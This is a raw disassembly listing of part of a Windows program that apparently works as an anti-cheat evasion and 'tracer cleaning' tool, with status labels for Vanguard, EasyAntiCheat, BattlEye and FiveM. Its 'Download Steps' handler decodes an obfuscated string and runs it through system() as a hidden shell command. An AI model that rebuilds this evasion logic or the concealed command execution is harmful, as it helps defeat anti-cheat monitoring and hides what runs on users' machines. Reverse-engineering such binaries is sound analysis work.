movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.VANGUARD
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.RIOT_GAMES
jmp 0x1400403f1
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9630]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.FIVEM
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d961c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.FIVEM_AC
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.ROCKSTAR
jmp 0x1400403f1
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d963c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.RUST
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9624]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.EASY_AC
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.FACEPUNCH
jmp 0x1400403f1
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d963c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.APEX
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9624]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.EASY_AC
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.RESPAWN
jmp 0x1400403f1
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9620]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.FORTNITE
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d961c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.EASY___BE
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.EPIC_GAMES
jmp 0x1400403f1
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d964c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9674]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, [0x1400d7484]
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d961c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9684]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm9
cvttss2si eax, dword [0x14013e140]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
cvttss2si eax, dword [0x14014c270]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xe1
movss xmm2, xmm0
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movq r9, xmm3
movaps xmm2, xmm13
movq r8, xmm2
lea rdx, str.BATTLEYE
lea rcx, [rsp + 0x60]
call fcn.14000acf0
lea rdx, str.ACTIVISION
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
movss xmm2, dword [rax + 0x20]
subss xmm0, dword [rax + 0x60]
subss xmm2, dword [rax + 0x64]
addss xmm0, dword [0x1400d9614]
movss dword [rax + 0xc0], xmm0
addss xmm2, dword [0x1400d9698]
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
movss xmm0, dword [rax + 0xdc]
maxss xmm1, dword [rax + 0xc0]
movss dword [rax + 0xd8], xmm1
maxss xmm0, xmm2
movss dword [rax + 0xdc], xmm0
cvttss2si eax, dword [0x14013e108]
movd xmm2, eax
cvttss2si eax, dword [0x14013e140]
cvtdq2ps xmm2, xmm2
movd xmm0, eax
mulss xmm2, xmm9
cvttss2si eax, dword [0x14014c270]
cvtdq2ps xmm0, xmm0
movd xmm1, eax
mulss xmm0, xmm9
shufps xmm2, xmm2, 0xe1
cvtdq2ps xmm1, xmm1
movss xmm2, xmm0
mulss xmm1, xmm9
shufps xmm2, xmm2, 0xc6
movss xmm2, xmm1
shufps xmm2, xmm2, 0x27
movss xmm2, xmm10
shufps xmm2, xmm2, 0x39
movups xmmword [rsp + 0x60], xmm2
movaps xmm3, xmm11
movaps xmm2, xmm13
movq r9, xmm3
movq r8, xmm2
lea rcx, [rsp + 0x60]
call fcn.14000acf0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
movss xmm2, dword [rax + 0x20]
subss xmm0, dword [rax + 0x60]
subss xmm2, dword [rax + 0x64]
addss xmm0, dword [0x1400d9624]
movss dword [rax + 0xc0], xmm0
addss xmm2, dword [0x1400d96a4]
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
movss xmm0, dword [rax + 0xdc]
maxss xmm1, dword [rax + 0xc0]
movss dword [rax + 0xd8], xmm1
maxss xmm0, xmm2
movss dword [rax + 0xdc], xmm0
xorps xmm0, xmm0
shufps xmm0, xmm0, 0xe1
cvttss2si eax, dword [0x1401521e0]
movss xmm0, xmm10
movd xmm1, eax
xorps xmm2, xmm2
shufps xmm0, xmm0, 0xc6
cvtdq2ps xmm1, xmm1
movss xmm0, xmm2
mulss xmm1, xmm9
shufps xmm0, xmm0, 0x27
movss xmm0, xmm1
movaps xmm3, xmm11
movaps xmm2, xmm13
shufps xmm0, xmm0, 0x39
movq r9, xmm3
movq r8, xmm2
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.WORKING
lea rcx, [rsp + 0x60]
call fcn.14000acf0
call fcn.14000a9e0
movss xmm8, dword [0x14013e108]
divss xmm8, xmm14
movss xmm7, dword [0x14013e140]
divss xmm7, xmm14
movss xmm6, dword [0x14014c270]
divss xmm6, xmm14
mov rcx, qword [rbp + 0x4e0]
call fcn.14000a8c0
movss dword [rbp + 0x2c8], xmm8
movss dword [rbp + 0x2cc], xmm7
movss dword [rbp + 0x2d0], xmm6
mov dword [rbp + 0x2d4], 0x3f800000
lea rdx, [rbp + 0x2c8]
call fcn.14000aaa0
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d968c]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d967c]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
cmp r15d, r12d
jne 0x140040886
mov dword [rbp + 0x220], 0x437a0000
mov dword [rbp + 0x224], 0x42480000
lea rdx, [rbp + 0x220]
lea rcx, [0x1400d74a8]
call fcn.14000b930
test al, al
je 0x140040736
mov r9d, 0x44
lea r8, str.Clean_Tracers
lea rdx, str.Are_you_sure_you_want_to_clean_the_tracers_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140040736
lea r9d, [rax + 0x3a]
lea r8, str.Clean_Tracers
lea rdx, str.This_may_take_a_moment
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.140025f60
mov r9d, 0x40
lea r8, str.Clean_Tracers
lea rdx, str.Tracers_have_been_cleaned_successfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x140040763
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2dc], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2e0], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2e4], xmm1
lea rcx, [rbp + 0x2d8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x140040886
mov dword [rbp + 0x228], 0x4423a000
mov dword [rbp + 0x22c], 0x43bdc000
mov dword [rbp + 0x230], 0x43c5c000
mov dword [rbp + 0x234], 0x43a04000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x230]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss xmm13, dword [0x1400d95c4]
movss dword [rsp + 0x28], xmm13
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x140040882
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
jmp 0x14004088f
movss xmm13, dword [0x1400d95c4]
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9670]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm14
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
mov dword [rbp + 0x238], 0x437a0000
mov dword [rbp + 0x23c], 0x42480000
lea rdx, [rbp + 0x238]
lea rcx, str.Download_Steps
call fcn.14000b930
test al, al
je 0x140040b30
movups xmm0, xmmword [str.AGUGB]
movups xmmword [rbp + 0xa70], xmm0
movups xmm1, xmmword [0x1400d89d0]
movups xmmword [rbp + 0xa80], xmm1
movups xmm0, xmmword [0x1400d89e0]
movups xmmword [rbp + 0xa90], xmm0
movups xmm1, xmmword [0x1400d89f0]
movups xmmword [rbp + 0xaa0], xmm1
movzx eax, byte [0x1400d8a00]
mov byte [rbp + 0xab0], al
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140040adf
movdqa xmm5, xmmword [0x1400d9790]
movdqa xmm4, xmmword [0x1400d9d10]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400d97e0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222zy_yyddb6ced1:]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xa74]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400409d0
cmp r8d, 0x41
jge 0x140040b23
movsxd rax, r8d
lea r9, [rbp + 0xa70]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140040af0
lea rcx, [rbp + 0xa70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x140040b5d
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2e8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2ec], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2f0], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2f4], xmm1
lea rcx, [rbp + 0x2e8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x140040c75
mov dword [rbp + 0x240], 0x4401e000
mov dword [rbp + 0x244], 0x439ac000
mov dword [rbp + 0x248], 0x43824000
mov dword [rbp + 0x24c], 0x437a8000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x248]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm13
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x140040c73
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d96a8]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, xmm14
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
mov dword [rbp + 0x250], 0x437a0000
mov dword [rbp + 0x254], 0x42480000
lea rdx, [rbp + 0x250]
lea rcx, str.Check_Serials
call fcn.14000b930
test al, al
je 0x140040d1e
call fcn.140024170
